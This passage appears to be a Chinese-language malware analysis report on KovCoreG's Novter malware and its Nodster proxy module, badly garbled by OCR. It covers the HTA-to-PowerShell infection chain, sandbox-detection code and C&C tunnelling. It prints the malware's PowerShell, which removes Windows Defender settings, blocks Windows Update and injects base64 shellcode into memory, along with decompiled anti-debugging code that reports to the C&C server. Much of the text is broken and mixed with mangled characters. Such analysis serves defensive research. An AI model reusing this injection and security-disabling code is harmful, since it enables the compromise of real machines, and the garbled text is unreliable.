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ARG NG R

Windows Z&F# (4519998)
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows Server 2016
H#iiR: https://portal.msrc.microsoft.com/zh-cn/security-guidance
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Victim Attacker Module all_socks_05
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traffic
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Module block_av_01 Advertising servers
blocks network connection
from AV processes
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HTA file launches PowerShell Novter Module call_02
to execute Novter displays tech support
scam page
[KovCoreG. Novter #1 Nodster BZ55% ]
KovCoreG BIHiE

KovCoreG Hii & F| 4t 2 TR A% 4, B AL & N Adobe Flash NIRRT . Hsuhr & NEE N
Player {timestamp} .hta (P& HTML B FHFET (HTA) SCfF. 2452 E 5 AT HTA SCIERT, JOE MG FEAR &35 Gl 480t RC4 i
B nEHAL AL, FHIZ4T PowerShell I,

PowerShell JHAK; 2% F Windows Defender fil Windows Update i#t#2, 3£i247—~ Shellcode, LLi#iZ CMSTPLUA COM #%
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115 $null=Remove-ItemProperty " Microsoft\Windows\Cux " "WindowsDefender" -ea 0
il6

117 $aa = "f \SOFTWARE\Wow&4 \Microsoft\Windows\WindowsUpdate\RU

118 force r $an

119 $null=Set-ItemProperty §au

120 $null=Sec-ItemProperty $au

121 $null=Sec-ItemProperty $am "

122 $null=Sec-ItemProperty $au "Sc¢ 3

123

124 $DeliveryOptimization = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeliveryOptimization"
125 force-mkdir $DeliveryOptimization

126 $nunll=Sec-ItemProperty §DeliveryOptimization "DODownloadMode" O

127

izs Invoke-Payload -PEBytes §PEBytes32

129 -}

130 else

131 [H(

132 [System.Envir ]::SetEnvi tVariable("deadbeef”,"Senv:deadbeef”,"User"™)

133

134 [byte[]]$sc=[Convert]::FromBase64String('VYvagewsAwAAVEZFoHTGRaFxkWi3cZFo27GRaQExkWI1wMZ FpnXGRadOxkWor8ZFgWrGRar 1xkWrdMZFrAnGRa2Vx
135 §$sc_in memory = §VirtumalAlloc.Invoke(C, $sc.Length, 0x00001000, O©x40)

136 $null = $memcpyfromarr.Invoke(§sc_in_memory,$sc, $sc.Length)

137 $PayloadDelegate = Get-DelegateType @() ([intptr])

138 $Payload = [System.Runtime.IntercpServices.Marshal]::GetDelegateForFunctionPointer(§sc_in memory, $PayloadDelegate)
139 §result = §Payload.Invoke ()

140

141 if(§result -eq )

142 H{

143 Starc-Sleep 120

144 )

145 [System.Environment] : : SetEnvironmentVariable ("d

146 [System.Environment] : : SetEnvironmentVariable ("d

147 Invoke-Payload -PEBytes §PEBytes32

148 )}
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if ( enum_processes(&pCheckedProcesses) '
http_post_report((int)"p=p");

if ( enum_modules(&pCheckedModules) )
http_post_report((int)"p=m");

if ( enum_processor_cores() )
http_post_report((int)"p=c");

if ( IsDebuggerPresent() )
http_post_report((int)"p=d");

if ( get_tickcount() )

{
http_post_report((int)"p=s");
v2 = (void *)Size;

vl = lstrlenA(al);
http_post((int)off_4162FC[@], a1, v1, @, 0);
return Sleep(@xFFFFFFFF);
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o kill — ZHIbHERIFMIERSCAE CRHUER E RO

*  stop — A IRERRIMTAMER I SCH o0 E B0
*  resume — A AR ERRRRERIEO

*  modules — FEIHRAT P I

* update — FEITIRAIF R TR

*  update_interval — & P ICZESE TR 2 (8] 1) AR
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FE53HT Novter FURLRE, FATHIE 2B A A =AM, Hrh— /2 Nodster 24 AAHBIH . iZBHUE NodedS 4 fE
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XI5, FAEH] socketio PR 558 . C&C IRST A 4L . 5 & C&C o5&kl &, DAFR/RIEHE ST TCP iEH;,
ik TCP AR, JRK RSS2 WA SR [ 2540411 4 8% T Novter KR GER A T i # 8 F AR HE
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A
Lkt HTTP Response The address
C&C Server #1 of C&C server 2 =
Socket io Connection
Socketio event ‘connect’
Socket.io event ==0
“firstmessage’ {id: id of tunnel, | Y|
h: Socks4a(domain/P, port), TCP connection to web ‘=..... =7y
d: TCP request payload) —— server and send payload S —
% Nodster proxy 3 Website Server
Socket io event ‘message’
{id: id of tunnel, d: TCP
il o ® 5 response payload}) ,_ TCP Response Payload
—x - <
i == e
T Socket io event ‘message’
- W {id: id of tunnel, d: TCP
cac » request payload} 5 TCP Request Payload 5

Socket io event ‘message’
{id: id of tunnel, d: TCP

. response payload) ,__ TCP Response Payload
Socket.io event ‘closed’
{id: id of tunnel} TCP Connection Close
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Socket io event ‘closed’
{id: id of tunnel} TCP Connection Close
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XBX Nodster BSiRE

Rt RE S, BATWE2)iET Nodster BEBRABLAIVF SN TR, FATVEE HBEATARET, I I F T2 & i
Ao EXEKH] C&C MRS AR R PUR A HHEHSTIT 5T 5 A KA A X JavaScript SRk .

PATEEZ R, SR ELIT &M Android & &K, FYEE AL HTTP (S) 3K A AR F Android %41 HTTP
User-Agent #5k. IXE8i5 R in—AN1 A 752 Android B H A FR1 X-Requested-With"brsk . {HJE, FRAFEIX L HF25 H ik
A RIUEA AR R I T AR, AT G R EIX 1 Android N FET 2 18] 2L 2 (T A AU RS .

GET https: /. ‘getjs?r=0.013178314547985792 HTTP/1.1
HosT:

connection: keep-alive

Accept: =/=

User-Agent: Mozillays/s.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv)
Referer: http://mobfox. com/

Accept-Encoding: gzip,deflate

Accept-Language: en-Us

X-Requested-with: com.deepsleep.sleep.soft.music.sounds

TSR, FAVER TSR B R ARSI, R TN . Bl DA R 2 A Android 4% AR s
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